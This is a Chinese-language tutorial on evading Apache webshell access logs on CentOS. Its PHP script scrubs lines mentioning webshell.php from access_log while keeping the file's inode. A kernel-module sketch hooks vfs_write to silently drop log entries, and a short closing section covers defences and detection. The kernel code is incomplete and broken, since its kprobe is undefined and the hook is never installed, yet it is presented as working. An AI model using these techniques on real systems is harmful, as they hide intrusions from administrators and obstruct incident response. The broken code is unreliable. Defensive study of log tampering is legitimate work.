分别从用户层和内核层绕过webshell访问日志
字数 1267 2025-08-10 12:18:01
Webshell访问日志绕过技术深度解析
环境搭建与基础配置
测试环境准备
- 操作系统:CentOS 7.9.2009 (Core)
- 内核版本:3.10.0-1160.el7.x86_64
- Web服务器:Apache HTTP Server
- PHP版本:7.0.33
Apache与PHP安装步骤
-
添加必要的软件源:
yum install epel-release -y rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum update -
安装依赖库:
yum install openssl openssl-dev -y -
安装Apache和PHP:
yum install php70w httpd -
验证PHP模块加载:
确保/etc/httpd/conf/httpd.conf中包含:LoadModule php7_module modules/libphp7.so
日志配置检查
Apache日志配置位于/etc/httpd/conf/httpd.conf中,关键部分:
<IfModule log_config_module>
LogFormat "%h %l %u %t \"%r\" %>s %b" common
CustomLog "logs/access_log" common
</IfModule>
用户层日志绕过技术
传统日志清理方法的问题
-
使用sed命令删除特定行:
sed -i '/webshell/d' access_log- 问题:修改后日志文件不再更新,大小固定
- 原因:Apache进程持有的文件描述符未更新
-
文件句柄分析:
lsof access_log输出显示多个httpd进程持有该文件的写描述符
文件句柄覆盖技术
-
获取Apache主进程PID:
ps -auxf | grep httpd -
定位日志文件描述符:
ls -l /proc/<PID>/fd/ | grep access_log -
文件句柄覆盖实现步骤:
- 创建临时文件
- 将临时文件内容覆盖到原日志文件
- 保持文件inode不变
-
PHP实现代码示例:
$log_path = '/var/log/httpd/access_log'; $temp_content = file_get_contents($log_path); $cleaned_content = preg_replace('/webshell\.php.*?\n/', '', $temp_content); // 保持inode不变的情况下覆盖内容 $fd = fopen($log_path, 'r+'); ftruncate($fd, 0); fwrite($fd, $cleaned_content); fclose($fd);
内核层日志绕过技术
Linux内核文件系统基础
- VFS (Virtual File System) 架构
- 文件描述符在内核中的表示
- inode与dentry结构
关键内核数据结构
struct file:表示打开的文件struct inode:文件系统对象struct dentry:目录项缓存
内核函数Hook技术
-
常用Hook框架:
- Kprobes
- Ftrace
- eBPF
-
关键Hook点:
vfs_write():文件写入操作do_sys_open():文件打开操作tty_write():终端写入操作
-
过滤条件实现:
- 检查当前进程名是否为"httpd"
- 检查文件路径是否包含"access_log"
- 检查写入内容是否包含"webshell.php"
内核模块实现示例
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/version.h>
static asmlinkage long (*orig_vfs_write)(struct file *file, const char __user *buf, size_t count, loff_t *pos);
static asmlinkage long hook_vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
char *kernel_buf = kmalloc(count + 1, GFP_KERNEL);
if (kernel_buf) {
if (copy_from_user(kernel_buf, buf, count)) {
kfree(kernel_buf);
return orig_vfs_write(file, buf, count, pos);
}
kernel_buf[count] = '\0';
// 检查是否为access_log且包含webshell关键字
if (strstr(file->f_path.dentry->d_name.name, "access_log") &&
strstr(kernel_buf, "webshell.php")) {
kfree(kernel_buf);
return count; // 模拟写入成功但实际上丢弃内容
}
kfree(kernel_buf);
}
return orig_vfs_write(file, buf, count, pos);
}
static int __init log_hook_init(void)
{
// 获取原始vfs_write地址并替换
orig_vfs_write = (void *)kallsyms_lookup_name("vfs_write");
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
register_kprobe(&kp);
#else
// 旧版本内核Hook方式
#endif
return 0;
}
static void __exit log_hook_exit(void)
{
// 恢复原始函数
}
module_init(log_hook_init);
module_exit(log_hook_exit);
MODULE_LICENSE("GPL");
防御与检测方案
针对用户层绕过的防御
-
日志文件权限控制:
chattr +a /var/log/httpd/access_log -
使用远程日志服务器
-
实施日志文件完整性监控
针对内核层绕过的防御
-
内核完整性保护:
grubby --update-kernel=ALL --args="ima_policy=tcb ima_appraise=fix ima_appraise_tcb" -
禁用内核模块加载:
echo 1 > /proc/sys/kernel/modules_disabled -
使用SELinux强化策略
检测方法
-
用户层检测:
# 检查文件inode是否变化 ls -i /var/log/httpd/access_log # 检查文件描述符 lsof /var/log/httpd/access_log -
内核层检测:
# 检查内核模块 lsmod # 检查系统调用表 grep sys_call_table /proc/kallsyms
总结与扩展
技术对比
| 技术层面 | 实现难度 | 隐蔽性 | 稳定性 | 适用范围 |
|---|---|---|---|---|
| 用户层 | 低 | 中 | 高 | 单次生效 |
| 内核层 | 高 | 高 | 中 | 持久生效 |
扩展研究方向
- eBPF实现更高效的日志过滤
- 基于虚拟文件系统(VFS)的透明加密日志
- 利用Linux审计子系统(auditd)实现二次日志记录
最佳实践建议
- 生产环境应结合多种日志保护措施
- 定期审计系统内核模块
- 实施最小权限原则控制日志访问
- 建立日志异常报警机制